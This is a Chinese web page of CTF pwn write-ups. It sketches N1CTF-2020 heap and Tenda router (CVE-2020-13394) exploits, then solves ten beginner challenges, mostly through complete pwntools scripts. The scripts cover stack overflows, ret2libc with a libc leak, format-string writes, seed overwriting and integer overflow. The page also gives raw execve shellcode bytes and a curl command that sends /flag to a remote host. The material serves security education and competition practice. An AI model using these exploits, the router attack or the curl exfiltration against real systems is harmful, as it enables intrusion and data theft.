N1CTF-2020 PWN 部分题解
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了N1CTF-2020 PWN 部分题解相关的知识,希望对你有一定的参考价值。
参考技术A题目定义了一个用于容器空间动态拓展的结构体:
题目new功能向容器内部写入一个8字节长度的数字,容器空间拓展规则如下:每次内部元素个数达到最大后,分配当前空间的2倍空间,并将旧空间数据拷贝到新空间。
delete功能就单纯将point指针值-8。
show功能将point指针-8后的地址里面的值打印出来。
不断得new,chunk大小变化为 0x20(A), 0x20(B), 0x30, 0x50, 0x90。
两个0x20的chunk放入了tcache中(B->A),利用delete和show功能就能够泄露堆地址。
修改B chunk里的fd指针,分配chunk到tcache里。
分配到tcache后就好办了,修改tcache->conuts[tc_idx], free掉一个chunk泄露libc基址,再修改tcache->entries[tc_idx]来申请到__free_hook。
由于没有合适的one_gadget可用,使用setcontext+53来ROP。
晚上才看到这题,开始改docker还改出一堆错误太菜了,无奈拿了个四血(Venom tql)。
逆的时候发现有 Tenda 关键字,Google一下发现 CVE-2020-13394 , https://joel-malwarebenchmark.github.io/
链接里给的POC把路径给隐藏掉了,但逆一下就能找到路径应该是 /goform/SetNetControlList
经过测试,这个payload得发送两次,而且需要断开TCP连接后才能触发漏洞点 strcpy
给的 start.sh 改成这样, docker exec 上去用 gdbserver 就能愉快的调试了。
调试确定偏移,并且由于程序由 qemu 起的,栈地址以及libc基址不变,调试得到这两个地址直接写进去,最后调用 system() 函数。
由于需要断开TCP连接才能触发漏洞,system函数执行 curl http://ip/ `cat /flag` 来带出flag
比赛时没做出来,赛后看 https://ctftime.org/writeup/24295 复现了下
思路是伪造 struct tcache_perthread_struct 改 tcache, malloc(0x30)到free_hook,改free_hook。
不过没有可用的one_gadget, 需要malloc(0x30) 到 free_hook-8, 前八个字节放"/bin/sh", 后8个字节放system函数地址。
攻防世界 pwn 二进制漏洞简单题练习区 答题(1-10题解)
序
1、level0
题目描述:菜鸡了解了什么是溢出,他相信自己能得到shell
题目思路:
-
首先使用checksec检查文件保护机制,是多少位的程序。
64位程序,栈不能执行
-
继续丢入IDA。
输出字符串helloWord之后执行vulnerable_function()函数,没有与用户交互。
进入vulnerable_function函数,通过伪代码分析逻辑,发现了栈溢出漏洞。
发现buf数组只有0x80字节,但是read函数从中读了0x200个。
或许咱们能够进行溢出,覆盖掉返回地址,劫持程序执行流,执行咱们想执行的方法。一般咱们的目的是去执行 system("/bin/sh")。
-
发现可疑函数,拥有system("/bin/sh")
所以我们能够把返回地址改为callsystem的地址,从而实现漏洞的利用
from pwn import * payload = 'a'*0x88 + p64(0x400596).decode("iso-8859-1") r = remote("111.200.241.244", 59345) r.recvuntil("Hello, World\\n") r.sendline(payload) r.sendline('cat flag') r.interactive()
-
获取后门后,get了shell,直接ls+cat flag即可获得
PS:python3的pwn包因为编码不同,无法直接用p64,需要decode(“iso-8859-1”)一下。
cyberpeace371b45af53b1def517585d2c4fb81631
2、level2
题目描述:菜鸡请教大神如何获得flag,大神告诉他‘使用面向返回的编程
(ROP)就可以了’
题目思路:
-
checksec和file一下。
32位程序。开启了NX,没法用shellcode,但是没有栈保护,可以直接栈溢出
-
丢到IDA32,shift+f12进字符串窗口,看看有没有可以直接利用的字符串。
发现有system和/bin/sh可以利用,猜测需要溢出覆盖system函数参数,使其变成system(“/bin/sh”) 来获取shell
再看main函数,没有什么疑点,点进vulnerable_function函数看看
发现buf长度为0x88,但read了0x100,且并没有输入限制,存在溢出漏洞 -
思路
填充字符使buf溢出
溢出后将read函数的返回地址覆盖为system的地址 ,进入我们构造的伪栈帧
覆盖system的参数,使其变为”/bin/sh”
拿到shell,然后寻找flag
from pwn import * io = remote('111.200.241.244',58444) #连接远程 elf = ELF('./level2') #elf载入本地程序,因为没有开PIE system_adr = elf.plt['system'] #获取system在plt表中的地址 binsh_adr = next(elf.search(b'/bin/sh')) #在程序搜寻binsh的地址 payload = b'a'*(0x88+4) + p32(system_adr) + b'dead'+p32(binsh_adr) #buf定义了0x88个字节,+4覆盖ebp,填入system地址 #b'dead'是system的返回地址,我瞎写的,为了栈平衡 #传入binsh的地址 io.recv() io.sendline(payload) io.sendline('ls') io.sendline('cat flag') io.interactive()
cyberpeace1e38583b02ed92641be48356eede2e23
3、string
题目描述:菜鸡遇到了Dragon,有一位巫师可以帮助他逃离危险,但似乎需要一些要求
题目思路:
-
先查一遍漏洞,发现除了PIE全开。所以只能 格式化字符串。
-
丢到IDA64里面,顺着程序的流程走。
可以看到在sub_400BB9中有printf(&format, &format)语句,存在格式化字符串漏洞。
此外,在函数sub_400CA6中,可以发现巫师的分支有命令执行的语句,可以直接执行外部输入的命令。
-
所以
-
因此,本题的关键在于,如何利用格式化字符串漏洞,让程序的控制流进入到命令执行语句;也就是说,进入sub_400CA6函数中,且满足*a == a1[1]的条件。
进入sub_400CA6函数较为简单,初始化人物时随便输一个名字,然后输入east进入下一个函数(这个判断有点迷,不明白为什么会先判断是不是east,比较成功了再与up比较);输入一个地址(注意必须能转换为int型)。然后就是格式化字符串漏洞的输入,之后就进到sub_400CA6中了。
然后是a的问题,可以发现a来源于main函数中的v4,v4是强制转换位int64后的v3,*v3是68,v3[1]是85,而且main函数会把v4的值打印出来,不需要再去找。
用gdb调试程序,在printf下断点,输入%x测试一下,发现输出是这样的。
由于是64位程序,泄露出来的地址分别是rsi, rdx, rcx, r8, r9, rsp+8, rsp+16等等。在地址输入时,我输入的是24(0x18),也就rsp+16的位置,这个位置是格式化字符串的第7个参数(也是printf的第8个参数)。由于v3的地址程序会给出,如果在这里输入之前接收到的v3 地址(也就是secret[0]),然后就可以用格式化字符串修改v3指向的值(*v3)。因此可以得出,payload的关键部分如下sh.recvuntil('\\'Give me an address\\'') sh.sendline(str(v3_addr)) sh.recvuntil('you wish is:') payload ='%085d' + '%7$n' sh.sendline(payload)
-
最后exp
from pwn import * p = remote("111.200.241.244",53112) p.recvuntil("secret[0] is ") addr = p.recvuntil("\\n") #截取到返回的v3(v4)的地址。 print(addr) p.recvuntil("What should your character's name be:") p.sendline("nibaba") p.recvuntil("So, where you will go?east or up?:") p.sendline("east") p.recvuntil("go into there(1), or leave(0)?:") p.sendline("1") p.recvuntil("'Give me an address'") p.sendline(str(int(addr, 16))) p.recvuntil("And, you wish is:") payload = "%85d%7$n" p.sendline(payload) p.recvuntil("I will help you! USE YOU SPELL") # system("/bin/sh") 的shellcode编码就是 \\x6a\\x3b\\x58\\x99\\x52\\x48\\xbb\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x53\\x54\\x5f\\x52\\x57\\x54\\x5e\\x0f\\x05 p.sendline("\\x6a\\x3b\\x58\\x99\\x52\\x48\\xbb\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x53\\x54\\x5f\\x52\\x57\\x54\\x5e\\x0f\\x05") p.sendline("cat flag") p.interactive()
cyberpeace4c1ae176d52e0652a48799efdc54ca24
4、guess_num
题目描述:菜鸡在玩一个猜数字的游戏,但他无论如何都银不了,你能帮助他么
题目思路:
-
运行了一下发现是个猜数的游戏,还是先看文件属性及保护措施
64位,发现各种防护全开
-
丢进64位IDA,反编译main函数。
shift+f12看看字符串窗口,找可利用的字符串
看main的伪代码,“rand() % 6 + 1”的含义就是获取1~6的伪随机数。
可以看出这个猜数游戏会进行十个回合,如果十个回合都能猜对数的话,就可以调用sub_C3E函数,而这个sub_C3E函数中就有system(“cat flag”)
由于开启了栈保护,所以没法直接覆盖返回地址来进入sub_C3E,但是输入name时,用了gets,利用gets栈溢出,尝试覆盖掉seed,使种子值已知,这样就能得到rand的值,之后只要循环输入十次就能拿到flag。
srand()是用来初始化rand()的C语言函数,而rand()函数用于产生随机数,但并不是真的随机数,只要种子已知,就能得到rand()生成的所有随机数(这个函数产生的随机数和平台有关系,同样的seed,Windows下和Linux下产生的值不同,由于这题文件elf,是基于Linux的,所以脚本在Linux上运行才行)。 -
解题思路:
(1)输入name时,通过gets溢出,覆盖掉seed的值,使seed已知
(2)写脚本,或者手动输入rand()函数产生的前10个值
(3)到达sub_C3E拿到flag
-
exp:
# 111.200.241.244:55182 from pwn import * from ctypes import * #python的一个外部函数库 # ctypes是Python的外部函数库。它提供C兼容的数据类型,并允许在DLL或共享库中调用函数。它可以用于将这些库包装在纯Python中。 # payload中的第四行,就是加载dll,这样就可以调用C里的srand和rand函数,比如调用srand函数,就用libc.srand() libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6") #调用DLL中输出的C接口函数 payload = 'a'*32 + p64(1).decode("iso-8859-1") # ‘a’*32:看栈算v7和seed的距离,这里var_30就是v7 # 地址0x00000030和0x00000010之间距离为32,所以填充32个’a’ # p64(1):将seed的值覆盖为1 p = remote('111.200.241.244',55182) libc.srand(1) p.sendlineafter('name:',payload) for i in range(10): #输入以1为seed,前十次所产生的伪随机数 p.sendlineafter('number:',str(libc.rand()%6 + 1)) p.interactive()
最后flag:
cyberpeace894e3267c2de6bc76e13ec89fffa9505
5、int_overflow
题目描述:菜鸡感觉这题似乎没有办法溢出,真的么?
题目思路:
-
题目提示很明显,往整数溢出方向想。
先查看文件基本信息,得知是32位程序,且没有canary和PIE
-
然后丢进IDA32,看看字符串窗口,看有没有可以利用的字符串,发现system和cat flag,且存在一些需要留意的高危函数,strcpy和read。
点进cat flag发现有一个what_is_this函数直接用了system(“cat flag”),也就是说只要我们想办法调用这个函数,就可以直接拿到flag。
接下来需要找漏洞,最好是可以直接覆盖一个返回地址,覆盖成what_is_this函数的地址。
main里没有什么可疑点,点进login函数,发现密码给的长度很大,read可以读0x199字节,十进制就是409,谁会用这么长的密码?这个长度很可疑,猜测从这里入手。
再进入check_passwd看看
发现限制了密码长度,要求密码长度在(3,8]内,并且还发现有个strcpy(&dest, s),这个函数里的s就是密码的字符串,dest长度0x14,所以s长度远大于dest,这就会导致栈溢出。 -
所以思路:
(1)正常输入到输入密码的那一步
(2)绕过密码的长度检测,让dest溢出
(3)覆盖返回地址,使之变成what_is_this函数的地址
(4)拿到flag -
exp:
from pwn import * elf=ELF('./intoverflow') sys_addr = elf.symbols['what_is_this'] payload = 'a'*24 + p32(sys_addr).decode("iso-8859-1") # 1.‘a’*24:用于使dest溢出,首先dest本身距离edp是0x14,十进制是20 # 在覆盖到返回地址的途中,有一次leave操作,在32位汇编中,leave等价于mov esp,ebp并pop ebp的操作,也就是说,在覆盖到返回地址之前,还有一次出栈,所以需要多覆盖一个ebp的长度,由于是32位,所以是4字节,所以覆盖ebp0x4,十进制是4总和就是’a’*24 # 2. p32(sys_addr):覆盖返回地址为what_is_this函数的地址,即check_passwd之后直接返回what_is_this函数。 payload = payload.ljust(260,'a') #ljust可以用a来填充payload到指定长度260 #这一句也能写成这样:payload += 'a'*(260-len(payload)) # 3. payload.ljust(260,’a’):由于程序执行到what_is_this函数后我们可以直接得到flag,所以之后怎么运行就不用管了,直接填充一堆’a’来让payload的长度能通过密码长度检测即可。但是显然payload前两部分的长度就超过了密码检测的最大长度8,这个时候就用到了整数溢出 # v3即为密码的长度,可以看到它是一个长8位的只有正数的整数即00000000~11111111,就是0到255,当给v8赋值超过255时,比如256,即1 0000 0000,由于v8本身只有8位,所以超过8位的,就会发生高位截断,只会保留低位,所以这个1会被舍弃,v8的值就是0000 0000,而给v8赋值257,它的值就是1,赋值258,它的值就是2。所以只要让payload的长度在(259,264]内,就能让v8的值在(3,8]内,才能通过密码长度检测。 p = remote('111.200.241.244',64378) p.sendlineafter('Your choice:','1') p.sendlineafter('your username:','aaa') p.sendlineafter('your passwd:',payload) p.interactive()
-
最后flag:
cyberpeace56275ebc7bce235dfe73ee7492df98d5
6、cgpwn2
题目描述:菜鸡认为自己需要一个字符串
题目思路:
- 先看保护措施
32位,没开PIE和栈保护,只开了NX。
- 拖进32位IDA,先看字符串窗口。
只找到了system,没有cat flag或者/bin/sh等字符串,再结合题目描述的提示“菜鸡认为自己需要一个字符串”,猜测需要自己输入一个/bin/sh ,然后把它当参数传system函数里,拿到shell。
然后看伪代码,找漏洞,main里没什么可疑的,但是调用了一个hello函数,点进去看看
发现了一个会导致溢出的gets(在程序的最下方)
运行程序发现是让我们输入两次,第一次输入名字,第二次gets了你留下的讯息。 - 所以思路:
由于只开启了NX,那么name的地址是不变的,记下name地址,输入’/bin/sh’到name里
利用gets溢出,覆盖返回地址为system的函数地址
把name作为参数传给system,构成system(“/bin/sh”)
ls看文件,cat flag拿到flag - 所以exp:
from pwn import * elf = ELF('./cgpwn2') sys_addr = elf.symbols['system'] #获取system函数地址 binsh_addr = 0x0804A080 #name的地址 # ‘a’*42:看栈可知s距离ebp有0x26,十进制即为38,再加上需要覆盖的ebp长度,由于是32位程序,所以ebp长度0x4,所以总共需要填充’a’*(38+4) payload = 'a'*42 + p32(sys_addr).decode("iso-8859-1") + p32(0xaaaa).decode("iso-8859-1") + p32(binsh_addr).decode("iso-8859-1") # p32(sys_addr):system函数的地址 # p32(0xaaaa):用于填充system函数的返回地址,由于system(“/bin/sh”)后直接拿到shell,所以随便填个返回地址就行 # p32(binsh_addr):name的地址,因为name的值就是’/bin/sh’,所以用它作为system的参数 p = remote('111.200.241.244',49350) p.sendlineafter('name','/bin/sh') p.sendlineafter('here',payload) p.sendline('cat flag') p.interactive()
- 所以flag
cyberpeace3d813e406941b85da7f6fb7a263d39b2
7、level3
题目描述:libc!libc!这次没有system,你能帮菜鸡解决这个难题么?
题目思路:
- 拿到文件以后还给了个libc,估计是要自己计算system地址
先查看文件信息及保护措施,32位,只开了NX
- 丢到IDA32里。
字符串界面,既没有system,也没有/bin/sh或cat flag,但是有read和write,所以可以利用write泄露libc中system地址,并找到’/bin/sh’让system调用。
看一下main函数
接下来计算溢出需要的偏移,用gdb的pattern脚本生成200个字符,运行level3程序,直接输入200个字符,查看溢出点,利用pattern offset计算需要填充的字符数,即’a’*140。 - 所以思路:
因为libc开着地址随机化,所以偏移会变化,必须在同一次运行内进行两次攻击,确保offset不变
第一次攻击,利用write函数,泄露其真实地址,通过计算得到libc加载的基地址
已知libc的基地址,计算system的真实地址和字符串’/bin/sh’的真实地址
第二次攻击,构造system(“/bin/sh”),拿到shell
拿到flag
计算公式:
libc加载的基地址 = write真实地址 - write在libc中的偏移量
system真实地址 = libc加载的基地址 + system在libc中的偏移量
/bin/sh真实地址 = libc加载的基地址 + /bin/sh在libc中的偏移量
其中 “/bin/sh在libc中的偏移量” 不知道为啥我用search查不到,所以我用winhex打开了libc,搜索字符串,得到0x159020+0xb,即0x15902b - 所以exp:
from pwn import * elf=ELF('./level3') libc=ELF('./libc_32.so.6') write_plt = elf.plt['write'] write_got = elf.got['write'] main_addr = elf.symbols['main'] sh = remote('111.200.241.244',50464) payload0 = 'a'*140 + p32(write_plt).decode("iso-8859-1") + p32(main_addr).decode("iso-8859-1") + p32(1).decode("iso-8859-1") + p32(write_got).decode("iso-8859-1") + p32(4).decode("iso-8859-1") sh.sendlineafter("Input:\\n",payload0) #第一次攻击 write_got_addr = u32(sh.recv()[:4])#得到write函数的真实地址,32位收到的包长4位,所以用[:4] libc_addr = write_got_addr - libc.symbols['write'] #计算libc加载的基地址 sys_addr = libc_addr + libc.symbols['system'] #计算system函数真实地址 bin_sh_addr = libc_addr + 0x15902b #计算'/bin/sh'真实地址,这个0x15902b就是/bin/sh在libc中的偏移量 payload1 = 'a'*140 + p32(sys_addr).decode("iso-8859-1") + p32(0x1234).decode("iso-8859-1") + p32(bin_sh_addr).decode("iso-8859-1") sh.sendline(payload1) #第二次攻击 sh.sendline('cat flag') sh.interactive()
- payload 解释
payload0解释: ‘a’*140:用于填充,使栈溢出,上文用pattern offset计算出140 p32(write_plt):write在plt表中的地址,让read完后进入write p32(main_addr):main函数地址,是write函数的返回地址,让write执行完后,返回main函数,这样就能进行第二次攻击 p32(1):write函数的第一个参数 p32(write_got):write函数的第二个参数,此为write要泄露的自身真实地址 p32(4):write函数的第三个参数 payload1解释: ‘a’*140:用于填充,使栈溢出,上文用pattern offset计算出140 p32(sys_addr):system的真实地址,让read完后进入system p32(0x1234):随便填充一个system的返回地址 p32(bin_sh_addr):bin/sh的地址,当system参数
- 所以flag:
cyberpeaceac36a56683c1be1523f8aeb8d67bfc34
8、get_shell
题目描述:运行就能拿到shell呢,真的
题目思路:
- 重复一遍:运行就能拿到shell呢,真的呢!
- 先查保护措施:
- 看看main函数:
- 所以exp
from pwn import * #导入 pwntools 中 pwn 包的所有内容 r = remote("111.200.241.244","52426") # 链接服务器远程交互 r.sendline() # 将shellcode 发送到远程连接 r.sendline('cat flag') r.interactive() # 将控制权交给用户,这样就可以使用打开的shell了
- 所以flag:(甚至可以不用exp,直接nc一下就行)
cyberpeace5310f41fb60d09a2f6b4856c1c2f0a98
9、CGfsb
题目描述:菜鸡面对着pringf发愁,他不知道prinf除了输出还有什么作用
题目思路:
-
依旧是先放到linux里扫一下,看看文件属性及开启的保护措施
开了canary和nx,即没法直接覆盖返回地址和使用shellcode,题目里提示了prinf的作用,可以着重看看prinf
-
用32位IDA打开,既有system,也有cat flag
再看主函数的伪代码
这个程序流程就是让你输入你的名字和要留下的信息,它就会说你好,并用printf输出你留下的信息。
如果pwnme的值为8,那么判断成立就会直接执行system(“cat flag”)拿到flag,否则输出Thank you。
第23行的这个printf不是正确的用法,会产生格式化字符串漏洞
printf正确用法是printf(“格式化字符串,……” , 参量,……),比如输出一个字符串a应该用printf(“%s”,a),但如果写成了printf(a), 就会出现格式化字符串漏洞 ,如果a是”%x”,那么printf(a)就会输出它后面的内存中的数据 。 -
所以思路:
第一次运行程序,name随便输,在输入message时利用%x计算输入位置偏移
第二次运行程序,name随便输,在输入message时,先输入pwnme的地址
利用 %偏移$n 改变pwnme的值为8
拿到flag -
所以exp:
from pwn import * payload = p32(0x0804A068).decode("iso-8859-1") + 'aaaa%10$n' # p32(0x0804A068):pwnme的地址,双击pwnme即可查看 # ‘aaaa%10$n’:p32打包后的数据是4位的,但是要赋值8给pwnme,所以再填充4个a,然后把8赋值给第十个参数,即pwnme的地址对应的值 p = remote('111.200.241.244',64540) p.sendlineafter('tell me your name:','abcd') p.sendlineafter('your message please:',payload) p.interactive()
-
所以flag
cyberpeace0a67e22819899d3d43c6cbfa5f353b1c
10、hello_pwn
题目描述:pwn!,segment fault!菜鸡陷入了深思
题目思路:
-
照例是看一下信息:
64位,只开了NX。
-
64位IDA打开,先看字符串窗口,发现可以有system和cat flag,组合使用可以直接拿到flag。
发现在sub_400686函数里,并且可以直接用
而主函数里调用该函数条件是dword_60106C等于0x6E756161,且read存在溢出漏洞,栈溢出是向高地址溢出,所以可以由601068溢出来覆盖60106C。 -
所以思路:
让unk_601068溢出,覆盖dword_60106C的值为0x6E756161,来使main的if判断成立,调用sub_400686函数,得到flag。 -
所以exp:
from pwn import * a = remote('111.200.241.244',62868) payload = 'a'*4 + p64(0x6E756161).decode("iso-8859-1") #地址0x00601068到0x0060106C的偏移是4,所以填充4个字符;由于是64位程序,所以用p64打包 a.sendline(payload) a.sendline('cat flag') a.interactive()
-
所以flag
cyberpeace5daa139645e3b436bc45fa40fc2d21d9
以上是关于N1CTF-2020 PWN 部分题解的主要内容,如果未能解决你的问题,请参考以下文章